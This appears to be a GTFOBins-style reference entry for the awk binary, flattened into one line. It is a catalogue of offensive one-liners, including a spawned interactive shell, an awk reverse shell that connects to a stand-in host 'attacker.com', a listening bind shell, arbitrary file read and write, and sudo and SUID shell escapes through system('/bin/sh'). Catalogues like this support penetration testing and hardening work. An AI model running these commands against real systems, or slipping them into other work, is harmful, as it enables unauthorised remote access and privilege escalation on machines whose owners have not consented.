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shell non-interactive-reverse-shell non-interactive-bind-shell file-write file-read suid sudo limited-suid code awk 'BEGIN {system("/bin/sh")}' description code Run `nc -l -p 12345` on the attacker box to receive the shell. RHOST=attacker.com RPORT=12345 awk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN { s = "/inet/tcp/0/" RHOST "/" RPORT; while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break; while (c && (c |& getline) > 0) print $0 |& s; close(c)}}' description code Run `nc target.com 12345` on the attacker box to connect to the shell. LPORT=12345 awk -v LPORT=$LPORT 'BEGIN { s = "/inet/tcp/" LPORT "/0/0"; while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break; while (c && (c |& getline) > 0) print $0 |& s; close(c)}}' code LFILE=file_to_write awk -v LFILE=$LFILE 'BEGIN { print "DATA" > LFILE }' code LFILE=file_to_read awk '//' "$LFILE" code LFILE=file_to_read ./awk '//' "$LFILE" code sudo awk 'BEGIN {system("/bin/sh")}' code ./awk 'BEGIN {system("/bin/sh")}'